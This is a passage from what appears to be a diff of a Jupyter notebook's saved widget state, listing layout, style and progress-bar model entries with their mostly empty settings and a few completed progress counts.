"@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_e417a487b9ab44d68bf5d4155f4ff339", + "IPY_MODEL_ce0bc6a269b841e59b3c1b00796b8605", + "IPY_MODEL_b014fb9554fb4f61a8d44135a6ad4954" + ], + "layout": "IPY_MODEL_c30445a77e81411bbad4f90b8c54bc35" + } + }, + "9c741e36450b4c66875df9dc3ba07507": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_cd9c9d32567f4e5aa9291f66b08490bf", + "IPY_MODEL_c4995db7a62844b4a00daaf55847cabd", + "IPY_MODEL_72fc113c125648538df5059fb578ae19" + ], + "layout": "IPY_MODEL_3943882166bb4470a800d9563f9e53a2" + } + }, + "9e0fde0538f84469bd62e9ea9f589b4f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9e5ef9fe15314ce3bf13e61994851485": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9ecd3535823549bbbcbf3f131704d3eb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9af01c4399c74223b5d7f94bd48d6952", + "placeholder": "​", + "style": "IPY_MODEL_aa44d82861804483b44e0f893b698b72", + "value": " 634/634 [00:00<00:00, 4.30kB/s]" + } + }, + "9ee85e252d32428ea44a91c71cd62a36": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9f17b8692b824c0cb9a98cea381699a9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cdcf280e7a3043c2a1d59e0eea379d96", + "max": 524619, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_2e945d3f81204a538874a0a832102d15", + "value": 524619 + } + }, + "a1d133bc8fe344e2aed80fe5155177c3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "a25cd36e4deb410f9ee54a92a18c939c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a266a0d0bdde4a3aa09fec6a0a00abed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bc60bbefdc2a490588dd8f58327fd264", + "max": 460, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3119598ffcab4d6f9d1642ee595736ee", + "value": 460 + } + }, + "a4d93e9fee48468281afac25f551806c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a5971d5b793545a3845fbe1029b557e1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a6b2ca41ffb24b9193a83fd9a4c24a8c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a8dbb00149f148ceaee2474c4304c902": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a9ab859e76814985877a4bacdb04e95a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "aa44d82861804483b44e0f893b698b72": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ab1c2c3e457944acb16508cf7a721290": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ac71f4fe6e804f19b2529c82e5a42049": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "accd8a5f56cf41c5af297f8bf93f7058": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ed9e0cfb4635476f9e31c5b48aeafde8", + "max": 75, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_396aee75c5954aa9b634d79c18177977", + "value": 75 + } + }, + "ad07cccdd8d44a9ab5e3458e8d902ac6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "aea53b42c35947c58d2c113bd2043078": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b014fb9554fb4f61a8d44135a6ad4954": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d612163ad6d24d91a6d7ee758d8d6367", + "placeholder": "​", + "style": "IPY_MODEL_ab1c2c3e457944acb16508cf7a721290", + "value": " 75/75 [00:21<00:00, 3.39it/s]" + } + }, + "b3ae18d50eb4415b950f98bb38362207": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b4209eed23cb45038a5c614bfe8bf3b6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "b5a46aec8d594d02b618b9d59e4f4518": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b67319578dc84245ad16cb8d25d3173c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b7aa53a4de824d7fbec2a07c1771bc24": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_17c87915e01b4d2fa79042759bf1a57d", + "IPY_MODEL_bafabfceff6e4f76b900878a4077337e", + "IPY_MODEL_5d1c6a49ce6f4596946a2fd91bec3312" + ], + "layout": "IPY_MODEL_795329002e034ec4aead224cf74ea361" + } + }, + "b991b21d18ec471fb18b291a0c10aa6e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b9cf936d26124cad959de16fcf5bea63": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ba72519befe047eabb826d1f7ec0e39c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "bafabfceff6e4f76b900878a4077337e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cd437bc3e2194f1a8c5e83ec98745b58", + "max": 825, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_18ba1c9da9714f2494c06570e4dc1d64", + "value": 825 + } + }, + "bc60bbefdc2a490588dd8f58327fd264": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bc72d593b56c42899ff4779e92bcf818": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_cabab037d12a455bbd283477e481d4ca", + "IPY_MODEL_7cdde9f1b0f1403ababc0e3e120617c4", + "IPY_MODEL_28c075d27bf8437c99b4fa8091d4d2c0" + ], + "layout": "IPY_MODEL_7c5bcff9ea9344dca52dbaa4a6545b50" + } + }, + "bc9783a6d9d0437b881b01cad81c0173": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bce74d8ba4dd4a35bd276ba2dbf0ffd1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "be0a3bc217b04b2dbd06a90141c0dd35": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "bfc87d61a154451294fa790fc30075ea": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c8cabf1d8ffe421296725d8494ba0d3b", + "IPY_MODEL_28fe7cfc4f4048eca1120a7228dcd629", + "IPY_MODEL_9ecd3535823549bbbcbf3f131704d3eb" + ], + "layout": "IPY_MODEL_03b9fb0d0fa44ac8bf1a6aa678ff82c8" + } + }, + "c081010577e7490eae450d69b0458a74": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c1dc0d80451c4d098f16eb6ec7eed752": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_d4c5db5f7ffe42beb2065e14cbdd755d", + "IPY_MODEL_accd8a5f56cf41c5af297f8bf93f7058", + "IPY_MODEL_824b0b410fed4ea1b5bc7f88236fc3e8" + ], + "layout": "IPY_MODEL_a6b2ca41ffb24b9193a83fd9a4c24a8c" + } 